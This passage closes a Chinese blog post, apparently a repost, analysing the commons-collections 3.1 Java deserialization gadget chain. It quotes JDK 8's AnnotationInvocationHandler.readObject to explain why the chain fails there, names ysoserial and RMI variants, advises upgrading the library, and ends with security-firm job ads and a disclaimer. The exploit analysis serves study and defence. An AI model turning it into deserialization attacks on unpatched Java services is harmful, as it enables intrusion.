那么jdk1.8为啥不行呢,看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
       GetField var2 = var1.readFields();
       Class var3 = (Class)var2.get("type", (Object)null);
       Map var4 = (Map)var2.get("memberValues", (Object)null);
       AnnotationType var5 = null;        try {
           var5 = AnnotationType.getInstance(var3);
       } catch (IllegalArgumentException var13) {            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
       }

       Map var6 = var5.memberTypes();
       LinkedHashMap var7 = new LinkedHashMap();

       String var10;
       Object var11;        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
           Entry var9 = (Entry)var8.next();
           var10 = (String)var9.getKey();
           var11 = null;
           Class var12 = (Class)var6.get(var10);            if (var12 != null) {
               var11 = var9.getValue();                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {                    //很伤心的,没有了map赋值语句
                   var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
               }
           }
       }

因为这个函数出现了变动,不再有赋值语句,所以触发不了漏洞。

No.6

写在后面

至此我们就完成common-collection 3.1版本 jdk1.7版本下的POC复现和利用链分析。
当然还有common-collection 不同组件版本,不同环境下poc和利用链均有不同,在ysoserial下就有7,8中利用方式。
还可以通过rmi模式进行利用等。

但是由于这篇博客写的太长了,思路也一直断断续续,其他内容之后再陆续学习分析吧~

No.7

修复意见

commons-collections组件版本 升级至官方最新版本

No.8

招聘启事

雷神众测SRC运营(实习生)
————————

工作地点:杭州(总部)、广州、成都、上海、北京

【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

雷神众测白帽运营(实习生)

————————

工作地点:杭州(总部)、广州、成都、上海、北京

【岗位职责】

1.准确了解白帽子爱好,发掘白帽子需求

2.负责各类周边、礼物的挑选与采购

3.对黑客文化有深刻认知

4.维护白帽关系

【任职要求】

1.具有良好的审美眼光

2.具备定制礼品礼物经验

3.较强的沟通以及协调能力

4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神

【加分项】

1、具备美术功底、懂得设计美化等

2、有互联网运营经验

简历投递至 [email protected]

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

安全服务工程师/渗透测试工程师

工作地点:新疆

1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;

简历投递至 [email protected]

JAVA反序列化 - commons-collections - 1

专注渗透测试技术

全球最新网络攻击技术

END

JAVA反序列化 - commons-collections - 1

原文始发于微信公众号(白帽子):JAVA反序列化 - commons-collections - 1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日22:52:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA反序列化 - commons-collections - 1https://cn-sec.com/archives/1016142.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息